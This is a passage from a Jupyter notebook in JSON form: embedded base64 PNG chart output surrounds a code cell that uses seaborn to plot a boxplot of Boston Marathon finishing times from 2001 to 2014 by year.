oR/UgNRdjhJrTtRdkhJrTtRdmhLrLrHmRN0lqceaDzkUvvrVr862bdsyZ86cbNmyJXPnzs3p\np5+em2++Ofv27UtfX1927tyZmTNnDvo8e/Y8M+xGj1S9ruUda+ouR4k1J+ouSYk1J+ouTYl1l1hz\nou6S1LLmwcLoQYfCSqWSJFm5cmVWrVqV/fv3Z8aMGVmwYEEqlUouvfTSLF68OP39/Vm+fLlNZgAA\nAMaBgwqFxx13XO64444kyStf+cp0dXW96DEdHR3p6OgY3dYBAAAwpg7qdwoBAABoTEIhAABAwYRC\nAACAggmFAAAABRMKAQAACiYUAgAAFEwoBAAAKJhQCAAAUDChEAAAoGBCIQAAQMGEQgAAgIIJhQAA\nAAUTCgEAAAomFAIAABRMKAQAACiYUAgAAFAwoRAAAKBgQiEAAEDBhEIAAICCCYUAAAAFEwoBAAAK\nJhQCAAAUTCgEAAAomFAIAABQMKEQAACgYEIhAABAwYRCAACAggmFAAAABRMKAQAACiYUAgAAFEwo\nBAAAKJhQCAAAUDChEAAAoGBCIQAAQMGEQgAAgIIJhQAAAAUTCgEAAAomFAIAABRMKAQAACiYUAgA\nAFAwoRAAAKBgQiEAAEDBhEIAAICCCYUAAAAFEwoBAAAKJhQCAAAUTCgEAAAomFAIAABQMKEQAACg\nYEIhAABAwYRCAACAggmFAAAABRMKAQAACiYUAgAAFEwoBAAAKJhQCAAAUDChEAAAoGBCIQAAQMGE\nQgAAgIIJhQAAAAUTCgEAAAomFAIAABRMKAQAACiYUAgAAFAwoRAAAKBgQiEAAEDBhEIAAICCCYUA\nAAAFEwoBAAAKJhQCAAAUTCgEAAAomFAIAABQMKEQAACgYEIhAABAwYRCAACAggmFAAAABRMKAQAA\nCiYUAgAAFEwoBAAAKJhQCAAAUDChEAAAoGBCIQAAQMFaRvPJ+vv709nZmR//+MdpbW3N9ddfn9/8\nzd8czZcAAABgFI3qTOG3vvWt7N+/P3fccUf+4A/+IGvXrh3NpwcAAGCUjWoo/P73v5/Xv/71SZIz\nzjgj/+///b/RfHoAAABG2aiGwp6enkyePHng783Nzenv7x/NlwAAAGAUjep3CidPnpze3t6Bv/f3\n96ep6aVz59SpbaP50oes1q9fK+ouR4k1J+ouSYk1J+ouTYl1l1hzou6S1GPNozpTOGvWrGzZsiVJ\n8nd/93c5+eSTR/PpAQAAGGWVarVaHa0nq1ar6ezszI4dO5IkN9xwQ0444YTRenoAAABG2aiGQgAA\nAMYXP14PAABQMKEQAACgYEIhAABAwYRCAACAgo3q7xTW2v79+/ORj3wk//zP/5x9+/Zl2bJlmTFj\nRlauXJmmpqbMnDkzq1evTqVSyYYNG7J+/fq0tLRk2bJlmT9//sDzfPOb38w3vvGN3HTTTbUr5iCN\ntObu7u6sWLEivb292b9/f1auXJnXvOY1tS5rSCOt+5lnnsmVV16Z7u7utLa2Zu3atfn1X//1Wpc1\npNF6j+/cuTMXXXRRtm7dmgkTJtSuoIMw0pqr1WrOPvvsvPKVr0yS/NZv/VaWL19e26IOwkjrPnDg\nQG644Yb88Ic/zP79+/OBD3wgZ599dq3LGtJI6/7MZz6Te+65J0ny9NNP5xe/+EX+z//5PzWuanAj\nrfnZZ5/N8uXLB65n69atyyte8YpalzWkkdb9y1/+Mh/+8Ifz9NNP58gjj8x1112X//Af/kOtyxrS\nodSdJLt3786iRYuyadOmTJgwIXv37s2KFSuye/fuTJo0KWvXrs2xxx5b46oOzkhrT5JHHnkk73vf\n+7Jp06ZalnJQRlpvCX205MV1l9BHS176/Z3UsI9WbSB33nln9WMf+1i1Wq1Wn3rqqeo555xTfe97\n31vdtm1btVqtVq+99trqN7/5zeqTTz5ZPe+886r79u2rdnd3D/y5Wq1Wr7vuuuqCBQuqy5cvr1kd\nh2IkNff19VX/6I/+qPqnf/qn1Wq1Wn3ooYeqb3vb22pWy6EYad1f+MIXqrfccku1Wq1WN27cWF2z\nZk3NajkUI627Wq1Wu7u7q+95z3uq8+bNG7itno30c/3www9Xly5dWssShmWk5/rOO++sdnZ2VqvV\navVf/uVfqp///OdrVcohGY33+POWLl1avffeew97DYdqpDV/+ctfrq5bt65arVarGzZsqK5du7Zm\ntRyKkda9du3a6u23316tVqvVrVu3VpctW1azWg7FwdZdrVarW7Zsqb71rW+tnnnmmQPv78997nPV\nT33qU9VqtVr92te+Nm7+/6pWR177XXfdVb3ggguqr3vd62pTwCEaab2N3kerVl+67kbvo1WrL113\ntVrbPlpDzRQuWLAgb3rTm5Ik/f39aWlpyYMPPpjZs2cnSc4+++zce++9aWpqyqxZs9La2prW1tZM\nnz4927dvz2mnnZZZs2bl3HPPzfr162tZykEbSc07duzI7/3e7w2MQjz33HOZOHFizWo5FCOt+7LL\nLkt/f3+S5LHHHsvRRx9ds1oOxUjrPvXUU3Pttddm+fLlufzyy2tZykEb6ef6Zz/7WZ588slceuml\nOeKII3L11VePi99PHem5vvfeezNz5swsXbo01Wo1q1atqmU5B22kdZ922mlJkrvvvjtHH3105s2b\nV7NaDtZIaz7iiCPy1FNPJcnAyPp4MNK6d+7cmQ996ENJfrUC4AMf+EDNajkUB1v3G9/4xjQ3N+cL\nX/hCLrjggoHjv//97+c973lPkuT1r399br311sNfxDCNtPZjjjkmX/rSl3LuuefWpP2HaqT1Nnof\n7eXqbvQ+2svVXa1Wa9pHa6jvFB511FGZNGlSenp6csUVV+SDH/zgwJsqSSZNmpTu7u709PSkra3t\nBbf39PQkSd785jcf9naPxEhrbmtry8SJE7Nr165cddVVufLKK2tRxiEbjXPd1NSUyy67LF/+8pfz\nxje+8bDXMBwjrfvTn/50zjnnnJxyyim1aP6wjLTmadOmZenSpfniF7+YpUuXZsWKFbUo45CNtO49\ne/bkpz/9aW6//fa85z3vydVXX12LMg7ZaHy2k+Qzn/lM3ve+9x3Wtg/XSGs+99xz873vfS//5b/8\nl3zuc5/L29/+9lqUcchGWverX/3qbN68OUny13/913n22WcPew3DMVTdRx11VLq7u5Mk8+bNyzHH\nHPOC43t6ejJ58uQk//pvNF6MtPb58+fnyCOPPKxtHomR1tuofbSh6k4as482VN217qM1VChMkscf\nfzyXXXZZzj///Jx33nlpavrXEnt6ejJlypRMnjw5vb29A7f39vZmypQptWjuqBhpzTt27Mi73vWu\nLF++PK997WsPe/uHazTO9Z/+6Z/mS1/6Ut7//vcf1raPxHDrbmtr+//au7eQqNYwjOPPmFhQDJIV\nREwXnQsRzAojBBmEhEE7WZKdR7CrCBUbOklCdoAKCgbsQqHMuw6GSNCdXoyWXUZEGQk61UwGwYRC\n5qx9sXEw9nY3uma7nFn/3+UwfH4P33Lxvutba406Ojr08OFDHTlyRMPDw6qsrLQiwrSZWevs7Gy5\n3W5JUl5ensLh8KzPf6bMrHVmZmbsOdKtW7dqYGBglmc/c2b/t/v7++V0OuVyuWZ97jNlZq2vX7+u\nEydOqLOzU83NzbY4nzmdTlVVVSkYDOrw4cMKBoNavny5FRFm5L9y/6kmWbRoUewCSDLWL2ayJyOz\neVOxRot3nVOtRvtTbqtrtJRqCoeHh+X1elVXVxfbjt24caNevnwpSeru7taWLVuUk5OjV69e6efP\nn4pEIvrw4YPWrl1r5dRnzGzm/v5+nT59Wjdv3lRBQYGVUabFbO67d++qvb1d0t9XbubNm2dZlukw\nk3vdunV6/vy5Wltb1draqiVLlqi5udnKOHExu9Z+v1/37t2TJL19+zYpXkQhmV/rvLw8dXV1SbJP\n7onzeCAQSIqX6kwwu9YjIyOxnaPFixf/tmM6l5ld676+Ph04cEAPHjzQypUrk6Zgjjf3VDZv3qzu\n7u64vjvXmM2ebMzmTfUabSqpXqNNxeoaLaWeKWxqalIkEpHf75ff75cknT9/Xo2NjRobG9Pq1atV\nXFwsh8Oho0ePqqKiQtFoVDU1Nb+93cfhcMTeDDTXmc1869YtjY2N6fLly5Ikp9MZG2cuM5u7rKxM\nPp9Pjx49UjQa1dWrVy1OFJ9EHeOSbHOMV1VVqa6uTl1dXUpPT7fNWu/fv1+XLl1SeXm5JKmhocHK\nOHFLxDE+MDCgHTt2WBljWsxmrqmp0cWLF9XW1qbx8XE1NjZanCg+ZnOvWrVKPp9PhmEoMzNTV65c\nsThRfOLNPdnk8/XBgwfl8/lUUVGhjIyMpHhT+gSz2ZON2bypXqNNNjl3qtdok011fFtx3DsMwzBm\n/a8CAAAAAOaElLp9FAAAAAAwPTSFAAAAAGBjNIUAAAAAYGM0hQAAAABgYzSFAAAAAGBjNIUAAAAA\nYGM0hQAA23rx4oVyc3Pl9XoTPvbg4KB27dqlDRs2JHxsAAASiaYQAGBr2dnZamlpSfi4LpdLT58+\nTfi4AAAkWrrVEwAAwGq3b99WNBpVdXW1JOns2bMqKCjQtm3bVF9fry9fvigtLU21tbXavn27QqGQ\nzp07px8/fujr16/yeDyqra3V48eP9eTJE33//l1utzs2HgAAcxlNIQDA9vbu3avjx4+rurpaIyMj\n6u3tVUNDg3w+n8rKyuR2uxUOh3Xo0CG1t7ers7NTJSUl2r17tyKRiAoLC2O3oIbDYT179kxpadyM\nAwBIDjSFAADbc7lcWrFihfr6+hQMBlVYWKiMjAwFAgF9/PhRd+7ckSSNj49rcHBQXq9Xvb29amlp\n0bt37/Tr1y+Njo5KkjZt2kRDCABIKjSFAABI2rdvnzo6OvT582edOnVKkmQYhu7fvy+n0ylJCoVC\nWrp0qa5du6ahoSGVlJSoqKhIPT09MgxDkrRgwQLLMgAAMBNcygQAQFJxcbF6enr07ds35eTkSJLy\n8/PV1tYmSXr//r1KS0s1OjqqQCCgyspK7dy5U58+fVIoFFI0GrVy+gAAzBg7hQAASJo/f75yc3O1\nfv362GcXLlxQfX29SktLZRiGbty4oYULF+rkyZM6c+aMsrKytGbNGuXn52toaEgOh8PCBAAAzAxN\nIQAAkiKRiN68eSOfzxf7bNmyZWpqavrHdz0ejzwez7+Os2fPnv9tjgAA/B+4fRQAYFsOh0OvX7/W\nsWPHVFRUpPLycmVlZSVk7Ikfr2f3EAAw1zmMiSfjAQAAAAC2w04hAAAAANgYTSEAAAAA2BhNIQAA\nAADYGE0hAAAAANgYTSEAAAAA2Nhf4LjXtzHg6lcAAAAASUVORK5CYII=\n", "text": [ "<matplotlib.figure.Figure at 0x121df7390>" ] } ], "prompt_number": 138 }, { "cell_type": "code", "collapsed": false, "input": [ "seaborn.set(context = 'notebook', style = 'darkgrid')\n", "# not sure how to do this non-globally?\n", "seaborn.set_context(rc={\"figure.figsize\": (15, 10)})\n", "\n", "f, ax1 = plt.subplots(1)\n", "ax1.set_title(\"Boston Marathon times 2001-2014\")\n", "seaborn.boxplot(pd.Series(alltimes.loc[:, \"official\"], name=\"Time in minutes\"), groupby=alltimes.year)" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 136, "text": [ "<matplotlib.axes.AxesSubplot at 0x121df3390>" ] }, { "metadata": {}, "output_type": "display_data", "png": "iVBORw0KGgoAAAANSUhEUgAAA3kAAAJoCAYAAADbDShfAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3Xl4VPXd9/HPmWSyJ5Owi2BURGlVrAsoyq5WXLiLWurS\noo9b1brcl7T1xqJSF0RtK2rpI9i6Qr1FZam2al1QIEilfWprVZaCLCqQhOyZbJNknj9SZk4MWcmZ\nM/M779d1eflzcnLmOyaZOZ/z26xwOBwWAAAAAMAIPrcLAAAAAAD0HkIeAAAAABiEkAcAAAAABiHk\nAQAAAIBBCHkAAAAAYBBCHgAAAAAYhJAHAIb48ssv9Y1vfEPTpk3TtGnTNHXqVH3ve9/T3//+9x6f\n8+OPP9acOXN6rcZf//rXGjFihJYtW9bq8ZqaGp144om64YYbeu25qqqqdMUVV0T+e8SIESovL++1\n89u9//77evzxxyVJq1at0v333+/I87Snrq5Od9xxh6ZOnaoLLrhAP/vZz1RfXy9J2rFjhy6//HKd\nf/75mj59uj7//PPI973yyis677zzdM455+jnP/+5GhsbW51306ZNGjt2bIfPvXbtWl188cWaNm2a\nLrroIhUUFES+tnDhQp177rn69re/rQULFrT53oKCAk2bNu2A533nnXd08sknd/n/AQAgipAHAAZJ\nS0vTypUrtXLlSr322mu66qqrdMcdd/T4fFu3blVhYWGv1WdZlgYPHqxXX3211eNvvfWWMjMze+15\nJKmiokL/+te/Wj3m1Naw//rXv1RRUSFJmjx5su68805Hnqc9TzzxhMLhsF577TW9+uqrqq+v16JF\niyRJP/nJT/T9739ff/rTn3TLLbfo1ltvlSRt2bJFCxYs0O9//3u9+eabqqqq0rPPPitJampq0rPP\nPqtrrrlGNTU17T5vVVWVfvKTn+jhhx/WypUrNW/ePN12220KBoNavXq1/vznP2vFihX64x//qA8/\n/FBvvPGGpJZQOn/+fN12221qampqc94dO3booYcecuznBQCmS3a7AACAc8rKyjRgwIDIfy9dulRL\nliyRz+dTv379dNddd+nwww/X3/72Nz300ENqamqSZVm6/vrrNXLkSD3++OOqrq7Wz372Mz3wwAPt\nfv+sWbOUlZWlLVu2aO/evTryyCP1yCOPKCMjo01NY8eO1bvvvqvCwkINHDhQkrRixQpNnTpV27dv\nlyRt375d9957r2pra1VUVKQRI0bo0UcfVUpKio477jidddZZ2rRpk375y19q06ZNeumllxQKhVRR\nUaHrrrtOl112me644w7V19frwgsvjPQc/vrXv9Y//vEPlZeX65prrtH3v/99SdJvfvMbvf7660pK\nStLhhx+uu+++W/369dOMGTN04okn6u9//7t2796tU045RQ899JAsy4q8nn/+859aunSpmpqalJWV\npfz8fL311ltauHChZsyYoeOOO05/+ctfVFJSoiuuuEIlJSXasGGDamtr9eijj+roo49WVVWV5s6d\nqy1btqixsVFjxozR7bffrqSkJD3++ON655135Pf7lZubqwcffFD9+/dv9f909OjRGjJkiCTJ5/Np\nxIgR+vzzz1VYWKjt27fr/PPPlySNHz9eP//5z/XZZ59p9erVOvPMM5WXlydJuuSSS3T//ffr2muv\n1aeffqotW7boscce03XXXdfu71djY6N+/vOfa9iwYZKkYcOGKRwOq6ysTG+//bamTp2qtLQ0SdJF\nF12kV199Veeee64KCgpUX1+vBx54INIDul9tba1uv/123XHHHfrxj3/c4e83AODA6MkDAIPU19dH\nhmtOnjxZDzzwQOQiff369Xrqqaf0/PPP6w9/+IMuuOAC3XTTTZJaws9VV12l5cuX64EHHtCHH36o\nQYMG6b//+791yimn6IEHHujw+yXps88+01NPPaXXX39dRUVFevPNNw9Yo9/v17nnnhvpzdu9e7dq\namp09NFHR455+eWXddFFF+nFF1/UW2+9pS+//FKrV6+W1BIsJk+erDfffFNHHnmkXnnlFf32t7/V\nihUr9Mgjj+gXv/iFJOnBBx9UamqqVqxYIZ+v5ePusMMO0/Lly/Wb3/xGDz30kBobG7Vs2TKtXbtW\ny5Yt06uvvqqjjz5as2bNitTyxRdfaMmSJXrttdf0l7/8RRs2bGj1ek444QRdeumlOv/883Xbbbe1\neb1fffWVVqxYoQULFuiXv/ylTj31VC1btkzjxo3TkiVLJEkPPPCAjjvuOC1fvlwrVqxQaWmpnnnm\nGe3Zs0fPP/+8li1bpmXLlmns2LH6+OOP2zzHGWecofz8/MjzPf/885oyZYr27NnTKuRL0qBBg7R3\n717t3bs3ErIlaeDAgZFe25EjR+qBBx7QoEGDDvgz3C8vL0/nnntu5L8ff/xxHXHEERoyZIj27t3b\n6vvt5z/rrLM0a9Ys5eTktDnn3XffrUsvvVTHHHNMh88NAGgfPXkAYJDU1FStXLky8t8fffSRrrvu\nOq1cuVJr167VeeedF+m5ufDCCzV37lx9+eWXOu+883TPPfdo1apVOv300yNhxT5crqPvtyxL48aN\nk9/vlyQdffTRkeGLB/Kd73xHs2fP1nXXXac//OEPbeZl/fSnP1VBQYF+97vfafv27SoqKlIwGIx8\n/ZRTTpEkZWRkaOHChXrvvfe0c+dObdy4UbW1tW1q3++CCy6Q1DI/r6GhQdXV1VqzZo0uvvjiSI/T\njBkztHDhQoVCIUnSpEmTJEmZmZnKz89XZWVlm/OGw+F2hxZ++9vflqRIT9u4ceMkSUOHDtVf//pX\nSS1z+j755BO98sorklqGM/p8Pg0aNEgjRozQhRdeqHHjxmn8+PEaM2ZMu/9fP/nkE91yyy2aMWOG\nJkyY0O58zKSkpAPWuz8Md1djY6MefPBBrV27Vs8995ykA///7+z8v//975WcnKyLLrpIX375ZY9q\nAQAQ8gDAaCeeeKKOOOIIffzxxwcMIuFwWE1NTbrkkks0adIkrVu3TmvXrtWCBQvazJtr7/v3L9aR\nmpoaedyyrHZDj2VZOv7449XU1KRNmzbpjTfe0JIlS/TOO+9EjrntttvU3Nysc889VxMnTtTevXtb\nnWP/MNC9e/fqkksu0aWXXqpTTjlF55xzjt5///12/38kJydHamjvNTU3N6uxsTHy+P7wZ3/NB3pN\n9iGcdikpKa3+Oykpqc0xzc3Neuyxx3TkkUdKkiorKyPnXLJkiT755BN98MEHmjdvnk499VTNnj27\nzTn+9Kc/6d5779Xdd98dGZ45ePBg7du3r9VxhYWFGjRokA455BAVFxe3ebwjL774ol588UVJ0vHH\nH6/77rtPFRUVuvXWW2VZll566SUFAgFJ0iGHHKKioqJunX/lypWqq6vTtGnTFAqFIsNtFy1a1KZH\nEgDQPoZrAoDBtm/frh07dujYY4/VuHHj9MYbb6i0tFSStGzZMuXl5emwww7TpZdeqo0bN+rCCy/U\nvffeq8rKSlVWVio5OTnSo9Xe9+fn53d5gQx7qPrOd76juXPn6ogjjmgzbG/dunX60Y9+FBkK+M9/\n/vOAC3R88skn6tu3r2688UadccYZeu+99yLPk5ycrObm5g7r2d8DuWzZskgP4OLFizVq1KhIOOvK\na0tKSlJDQ0O7r7k9+782duxYPfvsswqHw2poaNBNN92kF154QZs2bdIFF1ygI488Uj/84Q915ZVX\navPmzW3O8+abb2ru3Ll6+umnIwFPahmaOXToUL3++uuSWnpjk5KSdMwxx2jSpElatWqVSktLFQ6H\ntXTpUp111lkdvs5LL700srDPfffdp4aGBl199dUaOnSonnrqqUjAk6QzzzxTr732mmpra9XQ0KAV\nK1Z0ev6XX35Zr732mlauXKknn3wyMtyWgAcA3UNPHgAYZP+cvP2am5t13333KT8/X/n5+bryyit1\n5ZVXKhwOq0+fPlq0aJEsy9JPf/pTzZ07V48++qgsy9LNN9+swYMH68QTT9Sjjz6qW265Rb/+9a/b\n/f4D9WQdqGfLftzUqVP16KOP6oknnmhz/G233aabb75Z/fr10yGHHKJvf/vb2rVrV5vjxo4dq2XL\nlumcc85R3759deaZZ6p///7auXOnDjvsMH3zm9/UeeedpxdeeKHd+r773e9qz549mj59upqbm5Wf\nn69f/vKXHb6OrxszZoxuvvlmpaSk6Nhjj233/8PX2/v/+84779TcuXP1X//1XwqFQjrjjDN07bXX\nKikpSVOmTNHFF1+sjIwMpaenH3Dlzvnz50tSqx6+k08+WXfddZfmz5+vO++8U0888YRSU1P12GOP\nSWoZsnrTTTfpyiuvVCgU0re+9a0DLrLS0et/88039emnnyoUCuniiy+OPP6LX/xCkyZN0pYtWzR9\n+nSFQiGdeeaZ7W6XcCDhcLhL/+8BAG1ZYdYnBgAAAABjONqTt2jRIr333nsKhUL6wQ9+oJNOOkmz\nZs2Sz+fT8OHDNWfOnMgY/qVLlyo5OVk33nijJk6c6GRZAAAAAGAsx0Lehx9+qI8++kgvvviiampq\n9Lvf/U5vvfWWZs6cqVGjRmnOnDl69913dcIJJ2jx4sVavny56uvrddlll+n0009vM1EdAAAAANA5\nx0LeunXrdMwxx+hHP/qRqqurdfvtt+uVV17RqFGjJLVsyLpu3Tr5fD6ddNJJ8vv98vv9ys/P1+bN\nm3X88cc7VRoAAAAAGMuxkFdaWqo9e/Zo0aJF+uKLL3TDDTe0WmEsMzNTVVVVqq6uVnZ2dqvHq6ur\nnSoLAAAAAIzmWMjLy8vTsGHDlJycrCOOOEKpqamt9suprq5WTk6OsrKyWm1wGwwG2yyl/XWNjU1K\nTm67zxAAAAAAeJ1jIe/kk0/W888/r6uuukqFhYWqq6vTaaedpg0bNmj06NFas2aNxowZo5EjR2r+\n/PlqaGhQfX29tm3bpuHDh3d47rKyGqfKBgAAAIC4179/drtfcyzkTZw4UX/961/13e9+V83NzZoz\nZ44OPfRQ3XXXXQqFQho2bJimTJkiy7J0xRVX6PLLL1dzc7NmzpzJoisAAAAA0EMJuU9ecXGV2yUA\nAAAAgGs66snzxbAOAAAAAIDDCHkAAAAAYBBCHgAAAAAYhJAHAAAAAAYh5AEAAACAQQh5AAAAAGAQ\nQh4AAAAAGISQBwAAAAAGIeQBAAAAgEEIeQAAAABgEEIeAAAAABiEkAcAAAAABiHkAQAAAIBBCHkA\nAAAAYBBCHgAAAAAYhJAHAAAAAAYh5AEAAACAQQh5AAAAAGAQQh4AAAAAGISQBwAAAAAGIeQBAAAA\ngEEIeQAAAABgEEIeAAAAABiEkAcAAAAABiHkAQAAAIBBCHkAAAAAYBBCHgAAAAAYhJAHAAAAAAYh\n5AEAAACAQQh5AAAAAGAQQh4AAAAAGISQBwAAAAAGIeQBAAAAgEEIeQAAAABgEEIeAAAAABiEkAcA\nAAAABiHkAQAAAIBBCHkAAAAAYBBCHgAAAAAYhJAHAAAAAAYh5AEAAACAQQh5AAAAAGAQQh4AAAAA\nGISQBwAAAAAGIeQBAAAAgEEIeQAAAABgEEIeAAAAABiEkAcAAAAABiHkAQAAAIBBCHkAAAAAYBBC\nHgAAAAD0QDgcVjgcdruMNgh5AAAAANADa9e+r4KC1W6X0Uay2wUAAAAAQKIJBoNauvT3kqSTTx6l\njIxMlyuKoicPAAAAALrJstyuoH305AEAAABAN2VkZOp737tclmXFVS+eRE8eAAAAAPSIFafdefTk\nAQAAAEA32efknXLK6LjqzaMnDwAAAAC6KU478STRkwcAAAAA3ZaRkalLLvl+XM7Js8LxuHtfJ4qL\nq9wuAQAAAIDH7Y9SbszN698/u92v0ZMHAAAAAD0QrwuvMCcPAAAAAAxCyAMAAAAAgxDyAAAAAMAg\nhDwAAAAAMAghDwAAAAAMQsgDAAAAAIMQ8gAAAADAIIQ8AAAAADAIIQ8AAAAADELIAwAAAACDEPIA\nAAAAwCCEPAAAAAAwCCEPAAAAAAxCyAMAAAAAgxDyAAAAAMAghDwAAAAAMAghDwAAAAAMQsgDAAAA\nAIMQ8gAAAADAIIQ8AAAAADAIIQ8AAAAADELIAwAAAACDEPIAAAAAwCCEPAAAAAAwSLLTT3DhhRcq\nKytLkjR06FBdf/31mjVrlnw+n4YPH645c+bIsiy99NJLWrp0qZKTk3XjjTdq4sSJTpcGAAAAAMZx\nNOTV19dLkhYvXhx57IYbbtDMmTM1atQozZkzR++++65OOOEELV68WMuXL1d9fb0uu+wynX766UpJ\nSXGyPAAAAAAwjqMhb9OmTaqtrdU111yjxsZG3Xbbbfrss880atQoSdL48eO1bt06+Xw+nXTSSfL7\n/fL7/crPz9fmzZt1/PHHO1keAAAAABjH0ZCXnp6ua665RtOnT9eOHTt07bXXtvp6ZmamqqqqVF1d\nrezs7FaPV1dXO1kaAAAAABjJ0ZB3+OGHKz8/P9LOzc3Vxo0bI1+vrq5WTk6OsrKyFAwGI48Hg0Hl\n5OS0e968vAwlJyc5VzgAAAAAJChHQ97y5cu1efNmzZkzR4WFhQoGgzrjjDO0YcMGjR49WmvWrNGY\nMWM0cuRIzZ8/Xw0NDaqvr9e2bds0fPjwds9bVlbjZNkAAAAAENf6989u92tWOBwOO/XEjY2NuuOO\nO7R7925J0k9/+lPl5ubqrrvuUigU0rBhw3T//ffLsiy9/PLLWrp0qZqbm3XjjTfq7LPPbve8xcVV\nTpUMAAAAAHHPtZDnFEIeAAAAAC/rKOSxGToAAAAAGISQBwAAAAAGIeQBAAAAgEEIeQAAAABgEEIe\nAAAAABiEkAcAAAAABiHkAQAAAIBBCHkAAAAAYBBCHgAAAAAYhJAHAAAAAAYh5AEAAACAQQh5AAAA\nAGAQQh4AAAAA9EA4HFY4HHa7jDYIeTigeP2FBQAAAOLF2rXvq6BgtdtltJHsdgGIT2vXvi/LsjRu\n3ES3SwEAAADiTjAY1NKlv5cknXzyKGVkZLpcURQhD23E8y8sAAAAEA8sy+0K2kfIQxvx/AsLAACQ\naPZPgbG4yDJKRkamLrnk+7IsK+46RaxwAk68Ki6ucrsE461Z8x7DNQEAAHoB11XmcjPA9++f3e7X\n6MnDAfEmBAAAcPCYBmO2eO2lZXVNHJBlWXH3ywoAAJBouJwy29NPL9Izzzzpdhlt0JMHAAAAOCSe\n523h4BQXF2nNmvckSdOmXay+ffu7XFEUIQ8ADBKvw0YAwMuYBmMmny9+P2sJeQBgEPa4BID4w403\nM/Xt21/jx0+SZVlx1YsnEfIAwBhM7gcAILauvvp6t0s4IEIeABiCG8UAAMSWzxef61gS8rqIeS4A\n4h2T+wEgPnEdiVhjM/QuYhNLAImACwkAiD9cR8IJbIZ+kJjnYj4ujGEKfocBIL5wHQk3xOcg0jjD\nNZP51q59XwUFq90uAwAAGIbrSLOFw2HF48BIevK6gHkuZuMOG4BEwagDIPFwHWm2eN26iJDXRfH2\ng0Pv4VoJQKKI14sJAB0bO3aC2yXAAfHcUUDI6yLumpqLO2wAEkE8X0wA6FhBwWpu0BgonuMBIQ8Q\nPbUA4l88X0wA3eWlocfcoDFXRkamvve9y+Oyo4CQB8gbHzIAEhujDmASLw095hLDbPF6DUnI6yIv\n3XECAMQn5vXABF7r2eIGjbmCwaBefHGJJOmUU0bH1c+XkNdFXrrjBACIT8zrgQm8eL+cv1kzWZYU\nCoXcLuOACHld4LU7TgCA+MNnEUzhxZ4tRoKZKRyO35sWhLwuiNcfHgDAO/gsgkno2YIJLEvy+1Pc\nLuOACHld4MU7TgCA+OLFz6Lm5mZJks/nc7kS9DZ6tmACVtc0AHecAABu89pn0dNPL5JlWbrmmhvc\nLgUADiheb1gQ8rooXn+AAADv8NJnUXFxkdaseU+SNG3axerbt7/LFQFAa6yuCQAA0A0+n3cCLYDE\nxOqaAADgoHlpz9a+fftr/PhJsiyLXjwAcSkclhobCXkAAOAgeG3P1quvvt7tEgCgXbW1NWpsbIy0\nGa4JADHipZ4PmM2L++SxqiaAeFZbW2Nr17pYSVu8ewIw2tq176ugYLXbZQAHjfsUABBfMjIyIu30\n9HQXK2mLnjwAxvJizwfM5cV98gBTsOejmdLSMiIjhdLTMzo5OrYIeQCMRc8HTOOVuXiAaZ56aqEs\ny9K1197odinoRSUl+yLTQkpLS+LqBhwhD4Cx6PmAaZhbClN4ab60fc/HCy/8LqvFGiQzk+GaAOAK\nej4AIP54aaXYurroghzxtjgHDk5zc9jtEtpFyANgNC/cJQaAROK1+dJ9+/aLtPv06etiJehtdXV1\nkXa8BXhmf+KAwuFwZCgFAABwlpc+d7127+3f/94caX/++VYXK0FvKy0tibTLy8tcrKQtevJwQF4a\nRgEAiE9eWpHQS5+7XpsvvW/fvki7uLjIxUrQ2xoa6iPt+vq6Do6MPUIe2vDaMAoAQHx6+ulFsixL\n11xzg9ulOMqLn7teCLP71ddHh/E1NDS4WAl625FHDou0Dz/8SBcracv8W2PoNq8NowAAxJ/9KxKu\nXr1KJSXFbpfjKC9+7lqW5Zk504FAXqSdnZ3tYiXobcFgMNKOtzl59OShDa8NowAAxB+fzxsBQOJz\n13THHPONA7aR+PbuLYy0Cwv3aMiQw1yspjVCHg7IS8MoAJN4ae8pmK1v3/4aP36SLMvyxL5ifO6a\n6x//+Fuk/fHH/9CkSWe7WA16k30obn19fQdHxh4hDwfEBSKQmLy0eAPMd/XV17tdQszwuWuuoqLo\ncOPCwsIOjkSiqaqqtLWrXKykLUIeABjCi4s3wGxeWFUT5svLyztgG4mvpqY60q6uru7gyNjj3RMA\nDEFHAJC4vLRPntekpKTa2ikuVoLelpWVbWtnuVhJW/TkAYAhWLwBpmGfPJggEMiJtHNycjo4Eokm\nnm/MEPIAwCBeu0BkoRmzsU8eTFBXF7+Lc+DgpKSk2drx1Utr/q0xAPAQL+09JbX0fhQUrHa7DDiA\nffLM5qXhqVu3bo20t23b5mIl6G05OVm2dnz10tKTBwBISPR+mI198szmpeGp5eXlkXZZWamLlaC3\nffXV7kh79+7dOvlkF4v5GkIeACAhebH3w0vYJ89cXrtBk5fX54BtJL7U1PhdVIeQBwBISF7s/fAa\n9skzk2VJoVCD22XETFnZPlubnjyT2OdYNjTE1+80IQ8AkLC81PvhRV5YVdOLwuGWf7zC74/29iQn\nc+ltklAoFGnHW8jj3RMAkLC8ttAMYALLkvx+v/x+v9ulxMSoUadF2qeeeloHRyLRjBjxzUj7mGNG\nuFhJW9xOAAAAQMxkZGTq0kt/4Jmh1g0NbKFgqtTU6Dy8tLS0Do6MPUIeAAAAYspLQ6337YvOySsp\nKXGxEvS2Xbt2RdpffLFLRx11jIvVtEbIAwAAQEx5aZi1vYcn3lZgxMEJheoibebkAQAAAB5RVxe/\nKzDiYMXvzQpCHgAAAOCQysqySNu+MToSX1FR0QHb8YCQBwAAADiktDQa7NgnD7FCyAMAAAAc0tjY\nYGs3ulgJel/8bvhIyAMAAAAckpUVsLWzXKwEvS0lJbrRfbzt+0jIAwAAABwSDFZF2tXV1S5Wgt42\nYMDASHvgwIEdHBl7hDwAAADAIbW1NQdsI/HZN7ePt5VTCXkAgIQVDocVDsfvnAgAqKy09+RVdXAk\nEk0wGO2ZjbdeWkIeAKMRAsy2du37KihY7XYZANAu+0dQc3Oze4Wg14VCjbZ2yMVK2kp2uwAAcNLa\nte/LsiyNGzfR7VLQy4LBoJYu/b0k6eSTRykjI9PligCgrbS0NFs73cVK0NtCoQZbm5AHwGX7e7Ys\ny3K5EmcRAsxm+K8vAEOkp6fZ2oQ8k9TU1Eba8TbfkpAHeJBXercIAWbLyMjUJZd8X5ZlEeCBBOOV\nm42SVF8f7e2Jt8U5cHACgZxIOycn0MGRsUfIAzzGS71bhADzmX6jAjCVV242SlJzc1Ok3dTU1MGR\nSDTBYDDSrqmh